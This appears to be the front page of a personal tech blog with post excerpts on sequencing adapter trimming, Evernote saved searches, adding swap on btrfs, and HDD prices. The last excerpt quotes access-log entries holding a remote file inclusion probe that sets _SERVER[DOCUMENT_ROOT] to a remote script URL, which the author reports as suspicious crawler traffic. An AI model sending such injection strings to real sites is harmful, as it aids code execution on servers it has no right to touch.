Autarchy of the Private Cave

I used to work with sequencing providers who were giving me fairly clean data.
It was already barcode-separated, and had no over-represented adapter sequences.
The only thing I had to do was to (optionally) quality-trim the reads, and check for biological contamination.

Recently, however, I have come across some real-world data, which not only had contamination in it, but also quite a noticeable percentage of adapters.
I did a quick test of multiple tools to see if they fit my requirements:

• should be easy/logical to use: no arcane/convoluted command lines or config files
• should detect adapters automatically, either using its own database or a provided plain FASTA file
• should be reasonably fast
• must leave no adapter traces behind: I prefer aggressive trimming

I have tried the following tools:

• fastq-mcf from the ea-tools package
• skewer
• TrimmomaticPE
• cutadapt: haven’t used it directly, but it is used by some of the compared tools
• bbduk from BBMAP
• autoadapt
• TrimGalore!

Read the rest of this entry »

This is a piece of rant.

Disclaimer

The story, all names, characters, genomes and incidents portrayed in this blog post are fictitious.
No identification with actual persons (living, dead or undead), places, companies, and processes is intended or should be inferred.
No animals were harmed in the making of this blog post.

Let’s try answering a question:

why are there many incomplete/draft bacterial genomes, and much fewer complete genomes?

Read the rest of this entry »

Prices were collected on May 18th, 2016, from amazon.de

Price per terabyte of WD Red HDDs

Note: this post is just a placeholder/draft, it will be extended later. But it can already be useful
Read the rest of this entry »

Another symptom is a message along the lines of

the notebook you are searching in has been moved or renamed since the saved search was created

(which is not true).

I had this problem, and found a solution.

Go to your Evernote on a client where you can edit saved searches (Windows for me),
edit all the searches, and make sure that notebook name is quoted in the search (and also, possibly, with all proper letter cases).

I found this solution by first creating a search from the web-beta interface, it looked like this: notebook:"Mynotebook" tag:1-now
All the crossed-out searches (despite working totally fine on Windows) looked like this: notebook:Mynotebook tag:1-now
or even like this (note the lower-case 1st letter of the notebook name): notebook:mynotebook tag:1-now.

After editing saved searches and synchronizing, they all appear (and work) just fine in the beta web-interface.

If you cannot edit your searches right now, there is another workaround: all the saved searches work fine for me from the Shortcuts menu (a star in the left panel).

Hope this helps!

Recently I had a need to add a swap file to my Debian installation.
However, I am now using btrfs, and – as with any other COW filesystem – it is not possible to simply create a swap file and use it.
There are workarounds (creating a file with a COW attribute removed, and then loop-mounting it), but I just did not like them.

So I have decided to add a swap partition.
It worked amazingly (and very easily), there was even no need to reboot – at all.
I still did restart, just to make sure the system is bootable – and all was perfectly fine.

My initial setup is very simple: a single /dev/sda1 partition on the /dev/sda disk, fully used by btrfs.
Different important paths/mountpoints are btrfs subvolumes, using flat hierarchy.
For this example, let us assume that /dev/sda (and /dev/sda1) is 25GB large, and that I want to add a 2GB swap /dev/sda2 after /dev/sda1.

Brief explanation before we start:

1. shrink btrfs filesystem by more than 2GB;
2. shrink btrfs partition by 2GB;
3. create new 2GB partition for the swap;
4. resize btrfs filesystem to full size of its new-size partition;
5. initialize swap and turn it on.

Here are the very easy steps! Just make sure you do not make mistakes anywhere
Read the rest of this entry »

Here is a recent entry from my web-server’s access log:

bogdan.org.ua:80 130.193.51.57 – - [09/Apr/2016:15:53:22 +0300] “GET /categories/programming?_SERVER[DOCUMENT_ROOT]=http://www.daedongfur.co.kr/shop/log/.logs/id1.txt HTTP/1.1″ 200 13158 “-” “Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)”

Client’s IP 130.193.51.57 does belong to Yandex network range.

So…

• Had Yandex started looking for vulnerabilities in the web-sites it scans?
• Does it only look for vulnerabilities in the .UA web-sites/domains?
• Does Yandex really use a Korean web-site to host malicious code?

In fact, there are more entries like that one, also from one of Yandex IPs:

bogdan.org.ua:80 130.193.51.25 – - [04/Apr/2016:00:14:22 +0300] “GET /categories/programming/page/5?_SERVER%5BDOCUMENT_ROOT%5D=http%3A%2F%2Fwww.daedongfur.co.kr%2Fshop%2Flog%2F.logs%2Fid1.txt HTTP/1.1″ 200 12607 “-” “Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)”
bogdan.org.ua:80 130.193.51.25 – - [04/Apr/2016:00:19:31 +0300] “GET /categories/programming/page/4?_SERVER%5BDOCUMENT_ROOT%5D=http%3A%2F%2Fwww.daedongfur.co.kr%2Fshop%2Flog%2F.logs%2Fid1.txt HTTP/1.1″ 200 12174 “-” “Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)”

I can see 3 explanations, and all of them are bad for Yandex:

• Yandex now belongs to KGB, and it does scan [.UA] web-sites for vulnerabilities;
• some/many of Yandex crawler servers are compromised, and are used by malicious 3rd parties;
• there was a public malicious link somewhere (???) to my blog, and Yandex blindly followed it.